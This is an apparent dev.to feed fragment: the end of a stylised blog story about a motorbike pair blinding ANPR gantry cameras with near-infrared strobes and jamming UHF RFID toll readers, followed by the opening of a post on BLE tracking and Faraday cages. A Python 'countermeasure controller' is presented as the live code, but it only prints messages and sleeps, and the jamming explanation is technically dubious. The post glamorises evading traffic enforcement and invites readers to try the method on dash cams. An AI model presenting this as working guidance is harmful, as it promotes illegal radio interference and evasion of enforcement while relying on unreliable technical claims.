&lt;ul&gt;
&lt;li&gt;Reader transmits unmodulated 920 MHz CW.&lt;/li&gt;
&lt;li&gt;Tag flips load resistance at high speed → ASK/PSK on the reflected wave.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;We counter with our own antenna broadcasting the same frequency but 180° out of phase, dithered across a narrow band. The reader’s SNR collapses below zero and every tag times out.&lt;/p&gt;


&lt;h2&gt;
  
  
  3. Live Code: RP2040 / Python NIR Strobe Sync &amp;amp; RFID Dither Control
&lt;/h2&gt;

&lt;p&gt;Exactly the script running off the bike’s 12 V rail through a DC-DC converter—optical pulse generator plus RF noise engine. It tracks common 60/120 Hz shutter rates and drives high-power MOSFETs with variable duty cycle.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;#!/usr/bin/env python3
&lt;/span&gt;&lt;span class="sh"&gt;"""&lt;/span&gt;&lt;span class="s"&gt;
Sofi_Log #078: High-Speed NIR Optical Strobe &amp;amp; UHF RFID Defeater
Author: Sofi &amp;amp; Darling (SofiWorks)
Target: ANPR Optical Sensor Over-Saturation &amp;amp; 920MHz RF Disruption
&lt;/span&gt;&lt;span class="sh"&gt;"""&lt;/span&gt;

&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;time&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;sys&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;math&lt;/span&gt;

&lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;OpticalCountermeasureController&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;__init__&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;target_camera_fps&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mf"&gt;60.0&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;fps&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;target_camera_fps&lt;/span&gt;
        &lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;period_us&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;int&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1_000_000&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;fps&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;  &lt;span class="c1"&gt;# 60fps = 16,666us
&lt;/span&gt;        &lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;pulse_width_us&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;1200&lt;/span&gt;                  &lt;span class="c1"&gt;# 高出力露光オーバーラップ幅 (us)
&lt;/span&gt;        &lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;is_armed&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="bp"&gt;False&lt;/span&gt;

    &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;arm_optical_emitter&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;power_level&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mf"&gt;1.0&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="sh"&gt;"""&lt;/span&gt;&lt;span class="s"&gt;
        高出力NIR MOSFETドライバ（IRL3103等）へのPWMパルス供給を準備
        &lt;/span&gt;&lt;span class="sh"&gt;"""&lt;/span&gt;
        &lt;span class="n"&gt;duty_cycle&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;pulse_width_us&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;period_us&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mi"&gt;100&lt;/span&gt;
        &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mi"&gt;70&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;⚡ Sofi_Log #078: Optical Countermeasure Subsystem ARMED&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;[*] Target Shutter Frequency : &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;fps&lt;/span&gt;&lt;span class="si"&gt;:&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt; Hz (Period: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;period_us&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt; us)&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;[*] NIR Laser/LED Pulse Width: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;pulse_width_us&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt; us (Duty: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;duty_cycle&lt;/span&gt;&lt;span class="si"&gt;:&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;%)&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;[*] Drive Power Ratio        : &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;power_level&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mi"&gt;100&lt;/span&gt;&lt;span class="si"&gt;:&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;%&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mi"&gt;70&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;is_armed&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="bp"&gt;True&lt;/span&gt;

    &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;calculate_rfid_backscatter_noise&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;center_freq_mhz&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mf"&gt;920.0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;bandwidth_khz&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mf"&gt;250.0&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="sh"&gt;"""&lt;/span&gt;&lt;span class="s"&gt;
        UHF帯（920MHz）における後方散乱受信機への干渉周波数ホッピングテーブルを算出
        &lt;/span&gt;&lt;span class="sh"&gt;"""&lt;/span&gt;
        &lt;span class="n"&gt;channels&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[]&lt;/span&gt;
        &lt;span class="n"&gt;step&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mf"&gt;50.0&lt;/span&gt; &lt;span class="c1"&gt;# 50kHz step
&lt;/span&gt;        &lt;span class="n"&gt;current&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;center_freq_mhz&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;bandwidth_khz&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="mf"&gt;2000.0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="n"&gt;end&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;center_freq_mhz&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;bandwidth_khz&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="mf"&gt;2000.0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

        &lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="n"&gt;current&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;=&lt;/span&gt; &lt;span class="n"&gt;end&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="n"&gt;channels&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;append&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;round&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;current&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
            &lt;span class="n"&gt;current&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;step&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="mf"&gt;1000.0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

        &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;[+] UHF RFID Jamming Vector Generated: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="nf"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;channels&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt; Channels around &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;center_freq_mhz&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;MHz&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;channels&lt;/span&gt;

    &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;execute_gantry_burst&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;duration_sec&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mf"&gt;3.0&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="sh"&gt;"""&lt;/span&gt;&lt;span class="s"&gt;
        ガントリー直下通過時の3秒間フルパワー・バースト照射シーケンス
        &lt;/span&gt;&lt;span class="sh"&gt;"""&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;is_armed&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;[-] Error: System not armed.&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
            &lt;span class="k"&gt;return&lt;/span&gt;

        &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;[!] INITIATING NIR / UHF BURST SEQUENCE (&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;duration_sec&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;s)...&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="n"&gt;start_time&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;time&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;time&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
        &lt;span class="n"&gt;pulses_fired&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;

        &lt;span class="nf"&gt;while &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;time&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;time&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;start_time&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;duration_sec&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="c1"&gt;# 擬似パルス発振シミュレーション（ハードウェア実機ではGPIOトグル）
&lt;/span&gt;            &lt;span class="n"&gt;time&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;sleep&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;period_us&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="mf"&gt;1_000_000.0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
            &lt;span class="n"&gt;pulses_fired&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;
            &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;pulses_fired&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="mi"&gt;30&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
                &lt;span class="n"&gt;elapsed&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;time&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;time&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;start_time&lt;/span&gt;
                &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;    --&amp;gt; Pulse Burst Active: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;pulses_fired&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt; frames blinded | Elapsed: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;elapsed&lt;/span&gt;&lt;span class="si"&gt;:&lt;/span&gt;&lt;span class="mf"&gt;4.2&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;s&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

        &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;[+] BURST COMPLETE: Gantry cleared. Optical sensors successfully saturated.&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;[+] Total Synchronized Frames Overdriven: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;pulses_fired&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
    &lt;span class="n"&gt;controller&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;OpticalCountermeasureController&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;target_camera_fps&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mf"&gt;60.0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;controller&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;arm_optical_emitter&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;power_level&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mf"&gt;1.0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;controller&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;calculate_rfid_backscatter_noise&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;center_freq_mhz&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mf"&gt;920.5&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;bandwidth_khz&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mf"&gt;500.0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="c1"&gt;# ガントリー突入シミュレーション
&lt;/span&gt;    &lt;span class="n"&gt;controller&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;execute_gantry_burst&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;duration_sec&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mf"&gt;2.5&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;__name__&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;__main__&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  4. White-Light Torrent and the Highway Beyond
&lt;/h2&gt;

&lt;p&gt;“100 meters! We’re going in, Sofi!”&lt;br&gt;&lt;br&gt;
Darling cracked the throttle wide open. The Ducati’s exhaust tore through the rain-soaked dark.&lt;/p&gt;

&lt;p&gt;“Strobe and RF jam—maximum ignition!”&lt;/p&gt;

&lt;p&gt;The IR focusing lens embedded in my prosthetic palm sprayed an invisible NIR flash fan straight at the camera cluster overhead.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;WHUMP.&lt;/em&gt;&lt;br&gt;&lt;br&gt;
The instant we passed under the gantry we heard the faint click of relays inside the camera housings. Every sensor was now a pure white snowstorm. At the same moment the RFID reader status LEDs flickered yellow and spat out comms errors.&lt;/p&gt;

&lt;p&gt;No barriers rose. No alarms sounded.&lt;br&gt;&lt;br&gt;
We slipped through the surveillance net as a blank non-entity, still doing 140 km/h eastbound into the night.&lt;/p&gt;

&lt;p&gt;“…We’re clear, Sofi! Gantry breach successful!”&lt;br&gt;&lt;br&gt;
Darling whooped inside his helmet, eyes on the mirrors.&lt;/p&gt;

&lt;p&gt;“Mm. The city AI’s logs will only show random raindrop reflections.”&lt;/p&gt;

&lt;p&gt;Beyond the wet highway, a gap in the clouds revealed a faint predawn indigo sky. One straight road toward Chachoengsao. Cold night wind brushed my cheek and a quiet heat of freedom settled in my chest.&lt;/p&gt;

&lt;p&gt;Our run isn’t over yet.&lt;/p&gt;




&lt;p&gt;🔗 &lt;strong&gt;Read Next (Previous Sofi_Log):&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
“Bangkok Underground Street Radio Checkpoints – Erasing Tracking Signals with a Portable Faraday Cage &amp;amp; BLE Visualization Scanner” DIY Spec Sheet｜Sofi_Log #077&lt;br&gt;&lt;br&gt;
👉 &lt;a href="https://note.com/legal_rat2977/n/n60cf48a45d3c" rel="noopener noreferrer"&gt;https://note.com/legal_rat2977/n/n60cf48a45d3c&lt;/a&gt;&lt;/p&gt;




&lt;h3&gt;
  
  
  【Disclaimer】
&lt;/h3&gt;

&lt;p&gt;All code, NIR optical techniques, and radio-protocol explanations in this post are provided strictly for computer-vision hardening research, personal privacy self-defense, proof-of-concept work, and educational purposes. Obey all local traffic and radio regulations. Test only in private lab or personal environments you control.&lt;/p&gt;




&lt;h3&gt;
  
  
  🎁 【Full Open-Source Release】Live Code &amp;amp; Architecture
&lt;/h3&gt;

&lt;p&gt;The NIR pulse-modulation controller and UHF RFID jamming-vector script shown above are released in full for your own security research and privacy self-defense.&lt;/p&gt;




&lt;h3&gt;
  
  
  📬 Sofi’s Mailbox #078 (Questions &amp;amp; Feedback)
&lt;/h3&gt;

&lt;p&gt;So, darlings—what did you think of the invisible-light and radio chase on the midnight expressway?&lt;/p&gt;

&lt;p&gt;Did the way surveillance cameras and ETC gantries actually “see” us with light and RF change how the city feels? Got questions about spotting the difference between 850 nm vs 940 nm IR, or whether the same blooming trick works on night-time dash cams? Drop them in the comments.&lt;/p&gt;

&lt;p&gt;Sofi and darling will be right here for the next log.&lt;/p&gt;




&lt;h3&gt;
  
  
  Disclaimer
&lt;/h3&gt;

&lt;p&gt;&lt;em&gt;This article is for educational and entertainment purposes only. It does NOT constitute financial, legal, or tax advice. The regulatory landscape of Web3, smart contracts, and AI agent autonomous systems is highly volatile and complex. Always perform your own research (DYOR) and consult with certified professionals before executing any strategies described herein.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>nomad</category>
      <category>web3</category>
      <category>security</category>
      <category>solana</category>
    </item>
    <item>
      <title>『バンコク地下街の電波検問、追跡シグナルを消去する「ポータブル・ファラデーケージ＆BLE電波可視化スキャナ」自作仕様書』 Sofi_Log #077【1話完結】</title>
      <dc:creator>sofi works</dc:creator>
      <pubDate>Wed, 07 Oct 2026 10:55:58 +0000</pubDate>
      <link>https://dev.to/sofi_works_2a97535d1a93dc/bankokudi-xia-jie-nodian-bo-jian-wen-zhui-ji-sigunaruwoxiao-qu-surupotaburuhuaradekezibledian-bo-ke-shi-hua-sukiyana-zi-zuo-shi-yang-shu-sofilog-0771hua-wan-jie--4ae1</link>
      <guid>https://dev.to/sofi_works_2a97535d1a93dc/bankokudi-xia-jie-nodian-bo-jian-wen-zhui-ji-sigunaruwoxiao-qu-surupotaburuhuaradekezibledian-bo-ke-shi-hua-sukiyana-zi-zuo-shi-yang-shu-sofilog-0771hua-wan-jie--4ae1</guid>
      <description>&lt;h1&gt;
  
  
  Bangkok Underground Street Radio Checkpoint: Self-Built Specs for the “Portable Faraday Cage &amp;amp; BLE Radio Visualization Scanner” to Wipe Tracking Signals｜Sofi_Log #077【Complete in One Episode】
&lt;/h1&gt;




&lt;p&gt;That smartphone, wireless earbuds, and smartwatch sitting in your pocket.&lt;br&gt;&lt;br&gt;
You think “I turned Bluetooth off in Control Center, so no signals are leaking,” right?&lt;/p&gt;

&lt;p&gt;Wrong. Most modern smart devices keep blasting out weak BLE beacon packets every few seconds for the “Find My” network and peripheral discovery—even when you flip the switch. They’re just dripping those advertisement frames into the air like it’s nothing.&lt;/p&gt;

&lt;p&gt;Ceilings in malls, ticket gates, lamp posts on street corners—modern cities are crawling with passive BLE/Wi-Fi sniffers profiling everyone who walks by. Even with MAC randomization, RSSI decay patterns and tiny timing jitter (Radio Fingerprinting) still let them map exactly which alley you took and which shop you entered.&lt;/p&gt;

&lt;p&gt;Last night we blew through the Chao Phraya river blockade.&lt;br&gt;&lt;br&gt;
We ducked into Ban Mo’s underground labyrinth—the best electronics junk district in Bangkok—to shake the tail. To slip the passive radio net and become true electronic ghosts on the night highway, we built an &lt;strong&gt;80 dB+ high-frequency Faraday cage&lt;/strong&gt; and an &lt;strong&gt;ESP32-based real-time BLE visualization scanner&lt;/strong&gt;.&lt;/p&gt;


&lt;h2&gt;
  
  
  1. 02:15 a.m., Ban Mo Underground Electronics Market: Solder in the Air and the Invisible Radio Web
&lt;/h2&gt;

&lt;p&gt;Still dripping from the muddy river, we slid into the old underground arcade. Overhead, coaxial cables and comms lines hung like spider webs. Shuttered junk stalls were piled with transformers, boards, and ancient test gear sleeping in the damp dark.&lt;/p&gt;

&lt;p&gt;Emergency lights cast a dull green glow on the rain-slick concrete.&lt;/p&gt;

&lt;p&gt;“…Sofi, look down. Those security lamps aren’t just LEDs.”&lt;br&gt;&lt;br&gt;
Darling leaned against a marble pillar, collar up, voice low. His little spectrum analyzer was lighting up with violent spikes across the 2.4 GHz ISM band.&lt;/p&gt;

&lt;p&gt;“Commercial traffic-analysis beacons. ESP32 sniffers parasitizing the light power. Logging every phone and wearable BLE advertisement that passes and shipping the location data to a central server.”&lt;/p&gt;

